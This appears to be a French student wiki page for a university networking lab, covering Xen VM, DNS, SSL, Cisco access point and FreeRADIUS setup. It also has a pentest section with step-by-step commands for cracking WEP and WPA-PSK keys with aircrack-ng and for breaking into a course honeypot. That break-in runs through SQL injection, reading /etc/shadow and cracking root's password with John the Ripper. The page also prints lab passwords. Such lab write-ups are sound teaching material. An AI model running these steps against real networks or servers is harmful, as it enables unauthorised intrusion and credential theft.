TP sysres IMA5 2021/2022 G6 : Différence entre versions

De Wiki d'activités IMA
(Serveur FreeRADIUS)
(Routeur)
Ligne 348 : Ligne 348 :
  
 
=== Routeur ===
 
=== Routeur ===
 +
 +
Commençons par configurer le VLAN 1
 +
 +
conf t
 +
 +
  interface vlan 1
 +
  ip address 10.1.0.1 255.255.255.0
 +
  exit
 +
  exit
 +
 +
Puis on configure le port (ici Gi1/0/3
 +
 +
conf t
 +
 +
  interface Gi1/0/3
 +
  switchport
 +
  switchport mode trunk
 +
  switchport trunk allowed vlan add 1
 +
  exit
 +
  exit
 +
 +
Et voilà mon grand
  
 
== Serveur FreeRADIUS ==
 
== Serveur FreeRADIUS ==

Version du 13 décembre 2021 à 17:04


Création de la machine virtuelle

On veut créer notre machine virtuelle sur l'hyperviseur (HV) capbreton. Afin de pouvoir télécharger l'image Debian, on utilise tout d'abord la commande suivante :

$ export http_proxy=http://proxy.plil.fr:3128

Pour lancer la création de la machine virtuelle, on doit donner le nom de la machine qui sera Bellerose (d'après le thème des noms de bière). Ensuite nous avons l'adresse IP qui nous a été attribuée lors de la répartition des groupes (donc pour nous ce sera 193.48.57.181). On donne aussi l'adresse IP du routeur flottant (193.48.57.190) et le masque du réseau (255.255.255.240 car c'est un /28). On indique également l'emplacement des disques virtuels : /usr/local/xen, le mot de passe pour se connecter à la machine virtuelle : pasglop, et la distribution que nous allons utiliser qui est Debian bullseye.

$ xen-create-image --hostname=Bellerose --ip=193.48.57.181 --gateway=193.48.57.190 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye

On crée ensuite 2 LV de 10 Go (nommés Bellerose1 et Bellerose2) sur le groupe de volume storage.

$ lvcreate -L10G -n Bellerose1 storage
$ lvcreate -L10G -n Bellerose2 storage

Puis il faut les formater au format ext4, alors on utilise les commandes suivantes :

$ mkfs.ext4 /dev/storage/Bellerose1
$ mkfs.ext4 /dev/storage/Bellerose2

On modifie notre fichier /etc/xen/Bellerose.cfg pour indiquer à la machine virtuelle qu'elle possède les volumes logiques Bellerose1 et Bellerose2 (on ajoute alors 2 lignes dans la fonction disk) et on ajoute le bridge IMA5sc dans la fonction vif.

$ vim /etc/xen/Bellerose.cfg
disk        = [
                 'file:/usr/local/xen/domains/Bellerose/disk.img,xvda2,w',
                 'file:/usr/local/xen/domains/Bellerose/swap.img,xvda1,w',
                 'phy:/dev/storage/Bellerose1,xvda3,w',
                 'phy:/dev/storage/Bellerose2,xvda4,w'
              ]
vif         = [ 'ip=193.48.57.181 ,mac=00:16:3E:FA:D0:95 ,bridge=IMA5sc' ]

On peut maintenant lancer notre machine virtuelle :

$ xl create -c /etc/xen/Bellerose.cfg

Avec la commande :

$ cat /etc/fstab

On voit xvda1 et xvda2. On va créer xvda3 et xvda4 pour pouvoir y mettre les répertoires var et home de notre machine virtuelle :

$ mkdir /mnt/xvda3
$ mkdir /mnt/xvda4
$ mount /dev/xvda3 /mnt/xvda3
$ mount /dev/xvda4 /mnt/xvda4

Puis on déplace le répertoire var dans le disque xvda4 :

$ mv /var/* /mnt/xvda4

Pour monter les disques, on ajoute ces lignes dans le fichier /etc/fstab :

# /home vers xvda3
/dev/xvda3 /home ext4 defaults 0 2
# /var vers xvda4
/dev/xvda4 /var ext4 defaults 0 2

On monte le tout à l'aide de la commande :

mount -a

Enfin avec lsblk, on peut voir les deux partitions de notre VM :

$ lsblk
xvda3 202:3 0 10G 0 disk /home
xvda4 202:4 0 10G 0 disk /var

Enfin, nous activons l'IPv6 sur l'interface en modifiant /etc/network/interfaces

iface eth0 inet6 auto

Pour quitter la VM : CTRL+]

Services Internet

Serveur SSh

$ apt install openssh-server

on édite le fichierde conf /etc/ssh/sshd_config :

PermitRootLogin without-password
PubkeyAuthentication yes

après on reload la conf

$ systemctl reload ssh

On génère une clé ssh avec ssh-keygen -t ed25519 et on l'ajoute dans /.ssh/authorized_keys et c'est gooooood

Serveur DNS

on achète le ndd

on crée un "Glue Record" pour notre nameserver ns1.belle-rose.site

on install bind

$ apt install bind9

on configure /etc/resolv.conf

nameserver 127.0.0.1

on configure bind /etc/bind/named.conf.local

zone "belle-rose.site" IN {
        type master;
        file "/etc/bind/db.belle-rose.site";
        allow-transfer { 217.70.177.40; };
};

On ajoute nos ns /etc/bind/db.belle-rose.site

;
; BIND dans ta face
;
$TTL	604800
@	IN	SOA	ns1.belle-rose.site. postmaster.belle-rose.site. (
			      2		; Serial
			 604800		; Refresh
			  86400		; Retry
			2419200		; Expire
			 604800 )	; Negative Cache TTL
;
@	IN	NS	ns1.belle-rose.site.
@	IN	NS	ns6.gandi.net.
ns1	IN	A	193.48.57.181

Ensuite on peut tester notre conf avec

$ host -t any ns1.belle-rose.site localhost
Using domain server:
Name: localhost
Address: 127.0.0.1#53
Aliases: 

ns1.belle-rose.site has address 193.48.57.181

Gestion des certificats

On a acheté un certificat SSL des familles 1. achat du certif 2. génération du fichier .csr via openssl req -nodes -newkey rsa:2048 -sha256 -keyout myserver.key -out server.csr 3. on le donne à gandi 4. pour valider on met le fichier dans http://belle-rose.site/.well-known/pki-validation/BC8C7DC310AD45D89E3F4412E6193A7F.txt

Tests d'intrusion

Exploitation de failles du système

Cassage de clef WEP d’un point d’accès WiFi

On commence par rechercher le nom de notre interface. On utilise alors la commande (en root) :

$ airmon-ng

On trouve l'interface suivante :

wlx40a5ef0127d0

On essaie de démarrer l'interface sur le channel 3 :

$ airmon-ng start wlx40a5ef0127d0 3

Or on remarque que la réponse de la commande nous indique que l'interface a été renommé automatiquement "wlan0mon". On ré-utilise la commande précédente avec le nouveau nom d'interface :

$ airmon-ng start wlan0mon 3

On écoute ensuite tous les paquets dans l'air :

$ airodump-ng wlan0mon

A partir de là, on peut choisir un point d'accès à cracker en utilisant son BSSID (obtenu par la commande précédente). On choisit cracotte06.

$ aireplay-ng -9 -e cracotte06 -a 04:DA:D2:9C:50:55 wlan0mon

On peut récupérer les VI générés par le point d'accès en les stockant dans les fichiers output. On donne le channel 4 puisque le point d'accès est sur ce channel :

$ airodump-ng -c 4 --bssid 04:DA:d2:9C:50:55 -w output wlan0mon

On effectue de fausses authentifications avec la commande aireplay-ng dans un nouveau terminal :

$ aireplay-ng -1 0 -e cracotte06 -a 04:DA:D2:9C:50:55 -h 40:A5:EF:01:0E:5F wlan0mon

L'adresse MAC source donnée après le -h est obtenue lorsque l'on récupère les VI.

Il faut maintenant laisser tourner la commande de récupération des VI assez longtemps pour obtenir assez de données (pour nous içi il a fallu attendre 40000 datas). On peut ensuite décrypter la clef WEP :

$ aircrack-ng -b 04:DA:D2:9C:50:55 output*.cap

On obtient alors :

KEY FOUND ! [ 55:55:55:55:5A:BC:07:CB:A4:44:44:44:44 ]
Decrypted correctly: 100%

Cassage de mot de passe WPA-PSK par force brute

$ airmon-ng
$ airmon-ng start wlan0mon 9
$ airodump-ng wlan0mon

On choisit le point d'accès kracotte06 à cracker. On récupère son BSSID avec la commande précédente et on utilise :

$ airodump-ng -c 4 --bssid 44:AD:D9:5F:87:05 -w psk wlan0mon

On crée le dictionnaire contenant toutes les clefs à tester avec la commande crunch

$ crunch 8 8 0123456789 -o dictionnaire.lst

Pour savoir si un Handshake a été trouvé, on utilise la commande :

$ aircrack-ng psk*.cap

On trouve :

#  BSSID               ESSID        Encryption
1  44:AD:D9:5F:87:05   kracotte06   WPA (1 handshake)

On peut alors lancer la commande de test des clefs :

$ aircrack-ng -w dictionnaire.lst -b 44:AD:D9:5F:87:05 psk*.cap

Attaque de type "homme au milieu" par usurpation ARP

Intrusion sur un serveur d’application Web

Sur honey.plil.info :

1. injection SQL

2. connexion en tant qu'admin

3. telechargement du fichier "config-db.php" (On remarque que il existe une BDD phpmyadmin) et "database.php" (ce fichier semble lui ne pas nous apporter d'informations)

4. honey.plil.info/phpmyadmin -> connexion avec les logins trouvés dans le fichier "config-db.php" (phpmyadmin et gencovid19). On trouve alors une table "pma_users" indiquant le nom de plusieurs utilisateurs (totor62, manuals, phpmyadmin et root).

5. en essayant le mdp "gencovid19" avec ces identifiants sur phpmyadmin : on peut se connecter en tant que "root" sur la BDD et on trouve le mdp de rex dans la bdd "test" et table "users".

6. connexion en ssh sur rex@honey.plil.info.

7. comme indication : "le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets". Alors on va créer un fichier de mots de 4 lettre pour ensuite doubler ces mots (exemple : bobo => bobobobo) pour essayer de cracker le mot de passe par la force brute. On créée alors le dictionnaire avec l'utilitaire crunch comme pour obtenir les clefs WEP :

$ crunch 4 4 abcdefghijklmnopqrstuvwxyz > dico.txt

Et on double la taille des mots :

$ sed -i 's/\(.*\)/\1\1/' dico.txt

On copie ensuite les fichiers "/etc/passwd" et "/etc/shadow" de rex@honey.plil.info sur notre zabeth.

$ scp rex@honey.plil.info:/etc/passwd .
$ scp rex@honey.plil.info:/etc/shadow .

On utilise alors l'utilitaire "shadow" pour obtenir un fichier contenant le mot de passe haché de root :

$ unshadow passwd shadow | head -1 > honey

Puis on utilise "John the Ripper" pour cracker le mot de passe :

$ john -w:dico.txt honey

Après quelques minutes, on peut afficher le mot de passe trouvé :

$ john --show honey
root:fortfort:0:0:root:/root:/bin/bash
1 password hash cracked, 0 left

On trouve le mot de passe de root@honey.plil.info qui est "fortfort".

Point d'accès Wi-Fi authentifié via FreeRADIUS

Configuration du point d'accès

Point d'accès

Tout d'abord il faut configurer l'authentification EAP dans la configuration :

conf t

 aaa new-model
 aaa authentication login eap_rose group radius_rose
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key zinzin
 aaa group server radius radius_rose
 server 193.48.57.181 auth-port 1812 acct-port 1813
 exit

Configurons le SSID :

conf t

 dot11 ssid SSID_ROSE
 vlan 5
  authentication open eap eap_rose
  authentication network-eap eap_rose
  authentication key-management wpa
  mbssid guest-mode
  exit
 exit

On associe notre SSID à l'interface WIFI :

conf t

 interface Dot11Radio0
  encryption vlan 5 mode ciphers aes-ccm tkip
  ssid SSID_ROSE
  mbssid
  exit
 exit

On paramètre notre VLAN (5)

conf t
 
 interface Dot11Radio0.5
  encapsulation dot1Q 5
  no ip route-cache
  bridge-group 5
  bridge-group 5 subscriber-loop-control
  bridge-group 5 spanning-disabled
  bridge-group 5 block-unknown-source
  exit
 exit

On configure l'interface filaire

conf t

 interface GigabitEthernet0.5
 encapsulation dot1Q 5
 bridge-group 5
 exit
exit

Enfin, on configure l'IP de l'AP et sa gateway

conf t

 ip default-gateway 10.1.0.1
 interface BVI 1
  ip address 10.1.0.3 255.255.255.0
  exit
 exit

Routeur

Commençons par configurer le VLAN 1

conf t

 interface vlan 1
  ip address 10.1.0.1 255.255.255.0
  exit
 exit

Puis on configure le port (ici Gi1/0/3

conf t

 interface Gi1/0/3
  switchport
  switchport mode trunk
  switchport trunk allowed vlan add 1
  exit
 exit

Et voilà mon grand

Serveur FreeRADIUS

Installation de freeRADIUS

apt install freeradius

On commence par configurer /etc/freeradius/3.0/clients.conf à détailler

client zozo {
	ipaddr = 10.1.0.3/24
	secret = zinzin
}

ensuite /etc/freeradius/3.0/eap.conf

eap {
  [...]
  default_eap_type = peap
}

puis /etc/freeradius/3.0/users

[...]
root Cleartext-Password := "glopglop"

Pour vérifier que tout fonctionne bien, on peut lancer freeradius en mode debug freeradius -X (après avoir au préalable stoppé le processus)